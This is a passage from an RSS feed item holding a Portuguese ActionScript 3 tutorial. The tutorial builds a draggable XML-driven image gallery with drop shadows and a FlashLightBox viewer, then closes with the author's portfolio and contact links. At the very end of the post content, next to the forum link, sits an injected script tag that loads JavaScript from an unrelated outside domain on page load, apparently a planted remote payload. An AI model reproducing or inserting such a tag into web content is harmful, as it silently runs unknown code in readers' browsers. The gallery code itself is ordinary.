<div class="wp_syntax"><div class="code"><pre class="actionscript3 actionscript3" style="font-family:monospace;"><span style="color: #009900;">/* Alinha o arquivo para o canto superior esquerdo */</span>
<span style="color: #004993;">stage</span>.<span style="color: #004993;">align</span> = <span style="color: #004993;">StageAlign</span>.<span style="color: #004993;">TOP_LEFT</span>;
<span style="color: #009900;">/* Desabilitamos o dimencionamento do arquivo */</span>
<span style="color: #004993;">stage</span>.<span style="color: #004993;">scaleMode</span> = <span style="color: #004993;">StageScaleMode</span>.<span style="color: #004993;">NO_SCALE</span>;
<span style="color: #009900;">/* Variavel que armazena o MovieClip selecionado */</span>
<span style="color: #6699cc; font-weight: bold;">var</span> alvo<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MovieClip</span>;
<span style="color: #009900;">/* Variável que armazena a quantidade de itens do XML */</span>
<span style="color: #6699cc; font-weight: bold;">var</span> total<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Number</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #009900;">/* Criamos uma instancia da Classe XML */</span>
<span style="color: #6699cc; font-weight: bold;">var</span> xml<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">XML</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">XML</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #009900;">/* Criamos uma instancia da Classe URLLoader */</span>
<span style="color: #6699cc; font-weight: bold;">var</span> arquivo<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">URLLoader</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">URLLoader</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #009900;">/* Carregamos o XML */</span>
arquivo.<span style="color: #004993;">load</span><span style="color: #000000;">&#40;</span><span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">URLRequest</span><span style="color: #000000;">&#40;</span><span style="color: #990000;">&quot;imagens.xml&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #009900;">/* Adicionamos um event listener chamando a função arquivoOk */</span>
arquivo.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">Event</span>.<span style="color: #004993;">COMPLETE</span>, arquivoOk<span style="color: #000000;">&#41;</span>;
<span style="color: #009900;">/* Função chamada assim que o XML é carregado */</span>
<span style="color: #339966; font-weight: bold;">function</span> arquivoOk<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Event</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #009900;">/* Armazenamos os dados do XML na instancia da Classe XML */</span>
	xml = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">XML</span><span style="color: #000000;">&#40;</span>event.<span style="color: #004993;">target</span>.<span style="color: #004993;">data</span><span style="color: #000000;">&#41;</span>;
	<span style="color: #009900;">/* Armazenamos o total de itens */</span>
	total = xml.foto.<span style="color: #004993;">length</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
	<span style="color: #009900;">/* Chama a função carrega */</span>
	carrega<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
<span style="color: #009900;">/* Função que carrega as imagens */</span>
<span style="color: #339966; font-weight: bold;">function</span> carrega<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #009900;">/* Criamos um laço para percorrer todos os itens do XML */</span>
	<span style="color: #0033ff; font-weight: bold;">for</span> <span style="color: #000000;">&#40;</span><span style="color: #6699cc; font-weight: bold;">var</span> i=0; i<span style="color: #000000; font-weight: bold;">&lt;</span>total; i<span style="color: #000000; font-weight: bold;">++</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
		<span style="color: #009900;">/* Criamos um MovieClip */</span>
		<span style="color: #6699cc; font-weight: bold;">var</span> mc<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MovieClip</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">MovieClip</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Rotacionamos ele randomicamente */</span>
		mc.<span style="color: #004993;">rotation</span> = <span style="color: #004993;">Math</span>.<span style="color: #004993;">round</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">Math</span>.<span style="color: #004993;">random</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">*-</span><span style="color: #000000; font-weight:bold;">30</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #000000; font-weight:bold;">10</span>;
		<span style="color: #009900;">/* Habilitamos o clique duplo do Mouse */</span>
		mc.<span style="color: #004993;">doubleClickEnabled</span> = <span style="color: #0033ff; font-weight: bold;">true</span>;
		<span style="color: #009900;">/* Adicionamos um event listener para quando o mouse for clicado no MovieClip */</span>
		mc.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">MouseEvent</span>.<span style="color: #004993;">MOUSE_DOWN</span>, mcPress<span style="color: #000000;">&#41;</span>;
		mc.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">MouseEvent</span>.<span style="color: #004993;">MOUSE_UP</span>, mcRelease<span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Adicionamos um event listener para o clique duplo */</span>
		mc.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">MouseEvent</span>.<span style="color: #004993;">DOUBLE_CLICK</span>, mcDoble<span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Armazena o número do nó do XML */</span>
		mc.id = i;
		<span style="color: #009900;">/* Criamos uma instancia da Classe DropShadowFilter */</span>
		<span style="color: #6699cc; font-weight: bold;">var</span> sombra<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">DropShadowFilter</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">DropShadowFilter</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Modificamos o angulo da sombra */</span>
		sombra.<span style="color: #004993;">angle</span> = <span style="color: #000000; font-weight:bold;">45</span>;
		<span style="color: #009900;">/* Modificamos o blurX e blurY */</span>
		sombra.<span style="color: #004993;">blurX</span> = <span style="color: #000000; font-weight:bold;">5</span>;
		sombra.<span style="color: #004993;">blurY</span> = <span style="color: #000000; font-weight:bold;">5</span>;
		<span style="color: #009900;">/* Modificamos a distancia */</span>
		sombra.<span style="color: #004993;">distance</span> = <span style="color: #000000; font-weight:bold;">3</span>;
		<span style="color: #009900;">/* Modificamos a intencidade da sombra */</span>
		sombra.<span style="color: #004993;">strength</span> = <span style="color: #000000; font-weight:bold;">0.75</span>;
		<span style="color: #009900;">/* Criamos um Array para armazenar os filtros utilizados */</span>
		<span style="color: #6699cc; font-weight: bold;">var</span> filtro<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Array</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Array</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Adicionamos no Array a sobra criada */</span>
		filtro.<span style="color: #004993;">push</span><span style="color: #000000;">&#40;</span>sombra<span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Adiciona os filtros ao MovieClip */</span>
		mc.<span style="color: #004993;">filters</span> = filtro;
		<span style="color: #009900;">/* Criamos uma instancia da Classe Loader */</span>
		<span style="color: #6699cc; font-weight: bold;">var</span> <span style="color: #004993;">loader</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Loader</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Loader</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Desabilitamos o mouse */</span>
		<span style="color: #004993;">loader</span>.<span style="color: #004993;">mouseEnabled</span> = <span style="color: #0033ff; font-weight: bold;">false</span>;
		<span style="color: #009900;">/* Carregamos a imagem */</span>
		<span style="color: #004993;">loader</span>.<span style="color: #004993;">load</span><span style="color: #000000;">&#40;</span><span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">URLRequest</span><span style="color: #000000;">&#40;</span>xml.foto<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span>.imagem<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Modificamos o tamanho da imagem randomicamente */</span>
		<span style="color: #004993;">loader</span>.<span style="color: #004993;">scaleX</span> = <span style="color: #000000;">&#40;</span><span style="color: #004993;">Math</span>.<span style="color: #004993;">random</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #000000; font-weight:bold;">0.2</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #000000; font-weight:bold;">0.6</span>;
		<span style="color: #004993;">loader</span>.<span style="color: #004993;">scaleY</span> = <span style="color: #004993;">loader</span>.<span style="color: #004993;">scaleX</span>;
		<span style="color: #009900;">/* Modificamos a posição da imagem */</span>
		<span style="color: #004993;">loader</span>.<span style="color: #004993;">x</span> = <span style="color: #000000; font-weight:bold;">10</span>;
		<span style="color: #004993;">loader</span>.<span style="color: #004993;">y</span> = <span style="color: #000000; font-weight:bold;">10</span>;
		<span style="color: #009900;">/* Adicionamos um event listener para saber quando terminou de carregar a imagem */</span>
		<span style="color: #004993;">loader</span>.<span style="color: #004993;">contentLoaderInfo</span>.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">Event</span>.<span style="color: #004993;">COMPLETE</span>, loaderOk<span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Adiciona a imagem ao MovieClip criado */</span>
		mc.<span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">loader</span><span style="color: #000000;">&#41;</span>;
		<span style="color: #009900;">/* Adiciona o MovieClip ao palco */</span>
		<span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span>mc<span style="color: #000000;">&#41;</span>;
	<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span>
<span style="color: #009900;">/* Função chamada quando a imagem termina de ser carregada */</span>
<span style="color: #339966; font-weight: bold;">function</span> loaderOk<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Event</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #009900;">/* Criamos uma referencia para a imagem */</span>
	<span style="color: #6699cc; font-weight: bold;">var</span> <span style="color: #004993;">loader</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Loader</span> = event.<span style="color: #004993;">target</span>.<span style="color: #004993;">loader</span>;
	<span style="color: #009900;">/* Criamos uma referencia ao MovieClip */</span>
	<span style="color: #6699cc; font-weight: bold;">var</span> mc<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MovieClip</span> = <span style="color: #004993;">MovieClip</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">loader</span>.<span style="color: #004993;">parent</span><span style="color: #000000;">&#41;</span>;
	<span style="color: #009900;">/* Definimos a cor de fundo da borda */</span>
	mc.<span style="color: #004993;">graphics</span>.<span style="color: #004993;">beginFill</span><span style="color: #000000;">&#40;</span>0xFFFFFF, <span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000;">&#41;</span>;
	<span style="color: #009900;">/* Começamos a desenhar a borda no MovieClip de acordo com o tamanho da imagem */</span>
	mc.<span style="color: #004993;">graphics</span>.<span style="color: #004993;">lineTo</span><span style="color: #000000;">&#40;</span>0, 0<span style="color: #000000;">&#41;</span>;
	mc.<span style="color: #004993;">graphics</span>.<span style="color: #004993;">lineTo</span><span style="color: #000000;">&#40;</span>0, <span style="color: #004993;">loader</span>.<span style="color: #004993;">height</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #000000; font-weight:bold;">20</span><span style="color: #000000;">&#41;</span>;
	mc.<span style="color: #004993;">graphics</span>.<span style="color: #004993;">lineTo</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">loader</span>.<span style="color: #004993;">width</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #000000; font-weight:bold;">20</span>, <span style="color: #004993;">loader</span>.<span style="color: #004993;">height</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #000000; font-weight:bold;">20</span><span style="color: #000000;">&#41;</span>;
	mc.<span style="color: #004993;">graphics</span>.<span style="color: #004993;">lineTo</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">loader</span>.<span style="color: #004993;">width</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #000000; font-weight:bold;">20</span>, 0<span style="color: #000000;">&#41;</span>;
	<span style="color: #009900;">/* Termina de desenhar */</span>
	mc.<span style="color: #004993;">graphics</span>.<span style="color: #004993;">endFill</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
	<span style="color: #009900;">/* Modifica a posição do MovieClip de forma randomica */</span>
	mc.<span style="color: #004993;">x</span> = <span style="color: #004993;">Math</span>.<span style="color: #004993;">round</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">Math</span>.<span style="color: #004993;">random</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">stage</span>.stageWidth<span style="color: #000000; font-weight: bold;">-</span>mc.<span style="color: #004993;">width</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
	mc.<span style="color: #004993;">y</span> = <span style="color: #004993;">Math</span>.<span style="color: #004993;">round</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">Math</span>.<span style="color: #004993;">random</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">stage</span>.stageHeight<span style="color: #000000; font-weight: bold;">-</span>mc.<span style="color: #004993;">height</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
<span style="color: #009900;">/* Função chamada quando clicamos duas vezes sobre a imagem */</span>
<span style="color: #339966; font-weight: bold;">function</span> mcDoble<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MouseEvent</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #009900;">/* Chamamos a função carrega do Componente FlashLightBox */</span>
	<span style="color: #009900;">/* A função recebe o endereço da imagem e o texto para a legenda */</span>
	flb.carrega<span style="color: #000000;">&#40;</span>xml.foto<span style="color: #000000;">&#91;</span>event.<span style="color: #004993;">target</span>.id<span style="color: #000000;">&#93;</span>.imagem, xml.foto<span style="color: #000000;">&#91;</span>event.<span style="color: #004993;">target</span>.id<span style="color: #000000;">&#93;</span>.texto<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
<span style="color: #009900;">/* Função chamada quando clica com o mouse sobre o MovieClip */</span>
<span style="color: #339966; font-weight: bold;">function</span> mcPress<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MouseEvent</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #009900;">/* Identificamos o alvo */</span>
	alvo = <span style="color: #004993;">MovieClip</span><span style="color: #000000;">&#40;</span>event.<span style="color: #004993;">target</span><span style="color: #000000;">&#41;</span>;
	<span style="color: #009900;">/* Coloca o alvo a frente dos demais MovieClips */</span>
	<span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span>alvo<span style="color: #000000;">&#41;</span>;
	<span style="color: #009900;">/* Movimenta o MovieClip */</span>
	alvo.<span style="color: #004993;">startDrag</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
<span style="color: #009900;">/* Função chamada quando soltamos o botão esquerdo do mouse */</span>
<span style="color: #339966; font-weight: bold;">function</span> mcRelease<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MouseEvent</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #009900;">/* Paramos de movimentar o MovieClip */</span>
	event.<span style="color: #004993;">target</span>.<span style="color: #004993;">stopDrag</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>Aqui está um exemplo da galeria funcionando:<br />
<a title="Exemplo da galeria" href="http://www.natanalves.com/mx/imagens3.html" target="_blank">Exemplo galeria</a></p>
<h2>Conclusões</h2>
<p>Chegamos ao fim de mais um tutorial. Um exemplo bem simples de como usar o Componente FlashLightBox e uma oportunidade para aprender a criar uma galeria usando apenas ActionScript.</p>
<p>Gostaria de aproveitar a oportunidade e convidar todos os leitores a visitarem meu Portfolio Online, lá você poderão encontrar todos os meus trabalhos e tutoriais desenvolvidos: <a title="http://www.natanalves.com" href="http://www.natanalves.com" target="_blank">http://www.natanalves.com</a></p>
<p>Um abraço a todos e até a próxima.</p>
<p>Autor: Natan D. Alves – Moderador do Fórum de Flash &amp; ActionSctipt MXSTUDIO<br />
Qualquer dúvida envie um e-mail para <a title="E-mail" href="mailto:natanalves@mxstudio.com.br" target="_blank">natanalves@mxstudio.com.br</a> ou acesse nosso <a title="Acessem nosso fórum" href="http://www.mxstudio.com.br/forum" target="_blank">fórum</a> <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/flash/galeria-de-imagens-com-xml-e-lightbox/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
	<!-- google_ad_section_end --></channel>
</rss>
